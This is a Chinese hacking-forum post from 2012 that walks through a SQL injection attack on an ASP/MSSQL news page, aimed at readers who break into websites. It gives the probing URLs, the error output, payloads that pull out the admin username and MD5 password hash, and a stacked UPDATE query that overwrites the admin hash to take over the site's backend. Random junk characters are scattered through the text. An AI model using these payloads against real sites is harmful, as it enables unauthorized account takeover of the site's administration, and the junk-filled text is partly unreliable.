经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。2 }9 }( ]. |+ Y* s8 F
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
. A0 g3 h- b$ v- I( v5 S7 ^测试如下：9 D0 H" e$ A' i5 P
http://www.tmdsb.com/news.asp?id=121
: V- o4 E/ k/ r在地址后输入单引号，显示* J5 Y/ O4 c7 s" E& v7 Y5 j, C1 `
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
5 C: J2 B! t) ]& K字符串 ’’’ 之前有未闭合的引号
) [" V* k/ {$ i7 a T/ F' I/news/tmdws.asp，行63% e0 a Q7 }* ]6 _
说明没有过滤单引号且数据库是MSSQL.
( k* w; ` D% Y2 x# v6 Eand 1=1正常。and 1=2出错。肯定存在注入/ v7 i7 v" F* q W
接着输入
' k. r& p" T3 |7 _2 N4 [http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin), Z: [- C2 W# |: @. a
得到帐号为:admin
* B1 ]) `; ?" Ohttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)7 Q$ \/ Q5 A+ Q4 @- x
得到密码为:a4716077c2ba075c
9 E( u' K; E$ c接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f294337 H7 t% Q% t# l1 u# F. I h: F! y% H
命令如下 :: R9 s# y9 Q) Q
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
+ e, h8 Z/ W5 `3 w4 v2 |这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41